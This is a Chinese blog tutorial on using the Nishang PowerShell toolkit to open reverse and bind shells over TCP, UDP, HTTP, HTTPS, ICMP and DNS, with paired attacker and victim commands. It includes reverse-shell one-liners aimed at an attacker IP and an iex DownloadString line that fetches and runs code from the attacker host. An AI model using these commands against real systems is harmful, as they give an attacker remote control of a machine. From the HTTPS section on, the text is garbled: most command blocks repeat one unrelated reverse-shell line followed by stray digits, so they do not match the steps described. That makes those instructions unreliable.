欢迎光临
我们一直在努力

nishang之花样shell

nishang之花样shell


0x00 简介

Nishang是基于PowerShell的渗透测试专用工具。集成了框架、脚本和各种payload。本篇主要介绍nishang中的各种shell。

主要针对预装有powershell的系统

0x01 TCP shell

1.Reverse shell

Attacker执行:


root@kali:~# nc -lvp 4444 listening on [any] 4444 ..

Victim执行:


PS F:/Shells> . ./Invoke-PowerShellTcp.ps1 PS F:/Shells> Invoke-PowerShellTcp -Reverse -IPAddress 192.168.52.129 -Port 4444

192.168.52.129 为Attacker IP地址。

效果如下:
6599670529e28ebdd5beade2635c6dd2-1 nishang之花样shell

数据报文如下:

6599670529e28ebdd5beade2635c6dd2-1 nishang之花样shell

从报文可以看出所有数据通过TCP传输,并且执行的命令以及返回的结果均在报文中可见。

2.Bind shell

Victim 执行:


PS F:/Shells> . ./Invoke-PowerShellTcp.ps1 PS F:/Shells> Invoke-PowerShellTcp -Bind -Port 8888

Attacker 执行:


PS F:/Shells> . ./powercat.ps1 PS F:/Shells> powercat -c 192.168.52.1 -v -p 8888

192.168.52.1 为Victim IP地址。

结果如下:
6599670529e28ebdd5beade2635c6dd2-1 nishang之花样shell

0x02 UDP Shell

1.Reverse shell

Attacker执行:


root@kali:~# nc -lvup 53 listening on [any] 53 ...

Victim执行:


PS F:/Shells> . ./Invoke-PowerShellUdp.ps1 PS F:/Shells> Invoke-PowerShellUdp -Reverse -IPAddress 192.168.52.129 -Port 53

192.168.52.129 为Attacker IP地址。

效果如下:
6599670529e28ebdd5beade2635c6dd2-1 nishang之花样shell

数据报文如下:

6599670529e28ebdd5beade2635c6dd2-1 nishang之花样shell

从报文可以看出所有数据通过UDP传输,并且执行的命令以及返回的结果均在报文中可见。

并且这种方式支持IPV6,如下图:
6599670529e28ebdd5beade2635c6dd2-1 nishang之花样shell

2.Bind shell

Victim执行:


PS F:/Shells> . ./Invoke-PowerShellUdp.ps1 PS F:/Shells> Invoke-PowerShellUdp -Bind -Port 7777

Attacker执行:


root@kali:~# nc -vtu 192.168.52.1 7777

192.168.52.1 为Victim IP地址。

效果如下:
6599670529e28ebdd5beade2635c6dd2-1 nishang之花样shell

0x03 HTTP/HTTPS shell

这里要说明一下Invoke-PoshRatHttp/Invoke-PoshRatHttps 需要Attacker以管理员身份运行

1. HTTP

Attacker执行:


PS F:/Shells> . ./Invoke-PoshRatHttp.ps1 PS F:/Shells> Invoke-PoshRatHttp -IPAddress 192.168.52.1 -Port 80 Listening on 80

Victim执行:


PS C:/Users/evi1cg> iex (New-Object Net.WebClient).DownloadString("http://192.168.52.1/connect")

192.168.52.1 为Attacker IP地址。

效果如下:
6599670529e28ebdd5beade2635c6dd2-1 nishang之花样shell

数据包如下:

6599670529e28ebdd5beade2635c6dd2-1 nishang之花样shell
从报文可以看出所有数据通过HTTP传输,并且执行的命令以及返回的结果均在报文中可见。

2. HTTPS

笔者测试使用nishang作者最新的脚本出现错误如下:
Attacker执行:


PS F:/Shells> . ./Invoke-PowerShellTcp.ps1 PS F:/Shells> Invoke-PowerShellTcp -Reverse -IPAddress 192.168.52.129 -Port 4444

0Victim执行:


PS F:/Shells> . ./Invoke-PowerShellTcp.ps1 PS F:/Shells> Invoke-PowerShellTcp -Reverse -IPAddress 192.168.52.129 -Port 4444

1报错信息如下:
6599670529e28ebdd5beade2635c6dd2-1 nishang之花样shell

找到历史版本中的文件进行测试成功,Invoke-PoshRatHttps.ps1
Attacker执行:


PS F:/Shells> . ./Invoke-PowerShellTcp.ps1 PS F:/Shells> Invoke-PowerShellTcp -Reverse -IPAddress 192.168.52.129 -Port 4444

2

这里如果出现“另一个程序正在使用此文件,进程无法访问的错误时,可以更换SSLPort端口

Victim执行(这里受害者请求的是HTTP):


PS F:/Shells> . ./Invoke-PowerShellTcp.ps1 PS F:/Shells> Invoke-PowerShellTcp -Reverse -IPAddress 192.168.52.129 -Port 4444

3

192.168.52.1 为Attacker IP地址。

效果如下:

6599670529e28ebdd5beade2635c6dd2-1 nishang之花样shell

数据报文如下:
6599670529e28ebdd5beade2635c6dd2-1 nishang之花样shell

通过报文可以看到,除了最初的连接请求是通过HTTP传输,其他的一切数据都是通过HTTPS连接进行通信,执行的命令及返回的结果在报文中不可见。

0x04 ICMP shell

这里需要一个脚本icmpsh,
Attacker执行:


PS F:/Shells> . ./Invoke-PowerShellTcp.ps1 PS F:/Shells> Invoke-PowerShellTcp -Reverse -IPAddress 192.168.52.129 -Port 4444

4

python icmpsh_m.py (Attacker’s IP) (Victims IP)

Victim执行:


PS F:/Shells> . ./Invoke-PowerShellTcp.ps1 PS F:/Shells> Invoke-PowerShellTcp -Reverse -IPAddress 192.168.52.129 -Port 4444

5执行结果:

6599670529e28ebdd5beade2635c6dd2-1 nishang之花样shell

数据报文如下:

6599670529e28ebdd5beade2635c6dd2-1 nishang之花样shell
从报文可以看出所有数据通过ICMP传输,并且执行的命令以及返回的结果均在报文中可见。

0x05 DNS shell

此次示例需要dnscat2以及powercat
安装完dnscat2后。
Attacker执行:


PS F:/Shells> . ./Invoke-PowerShellTcp.ps1 PS F:/Shells> Invoke-PowerShellTcp -Reverse -IPAddress 192.168.52.129 -Port 4444

6Victim执行:


PS F:/Shells> . ./Invoke-PowerShellTcp.ps1 PS F:/Shells> Invoke-PowerShellTcp -Reverse -IPAddress 192.168.52.129 -Port 4444

7

192.168.52.131 为Attacker IP地址,即shellcome.com应该解析的IP地址。

执行效果:
6599670529e28ebdd5beade2635c6dd2-1 nishang之花样shell

数据报文如下:

6599670529e28ebdd5beade2635c6dd2-1 nishang之花样shell

通过报文可以看出所有数据通过DNS传输,并且执行的命令以及返回的结果均在报文中不可见。

0x06 小结


通过以上测试,可以看出HTTPS以及DNS方式的shell更为隐蔽。如果渗透测试过程个弹不出shell,那就换个姿势吧~

未经允许不得转载:杂术馆 » nishang之花样shell
分享到: 更多 (0)